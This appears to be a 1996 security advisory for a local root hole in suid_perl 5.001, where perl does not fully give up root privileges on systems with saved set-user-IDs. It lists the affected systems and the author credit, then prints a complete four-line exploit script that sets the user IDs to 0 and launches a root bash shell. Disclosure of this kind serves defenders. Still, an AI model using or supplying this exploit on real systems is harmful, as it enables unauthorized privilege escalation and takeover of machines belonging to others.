suid_perl 5.001 vulnerability

Summary
Description:On systems that support saved set-user-IDs, perl isn't thorough enough in giving up its root priviledges.
Author:Jon Lewis (jlewis@inorganic5.fdt.net) wrote this basic exploit, though it has been modified. It is unclear who found the hole.
Compromise: root (local)
Vulnerable Systems:Systems that support saved set-user-IDs and set-group-IDs and have suid_perl 5.001 (and possibly below) installed. Many linux and *BSD boxes.
Date:June 1996
Details

Exploit:
#!/usr/bin/suidperl -U
$ENV{PATH}="/bin:/usr/bin";
$>=0;$<=0;
exec("/bin/bash");


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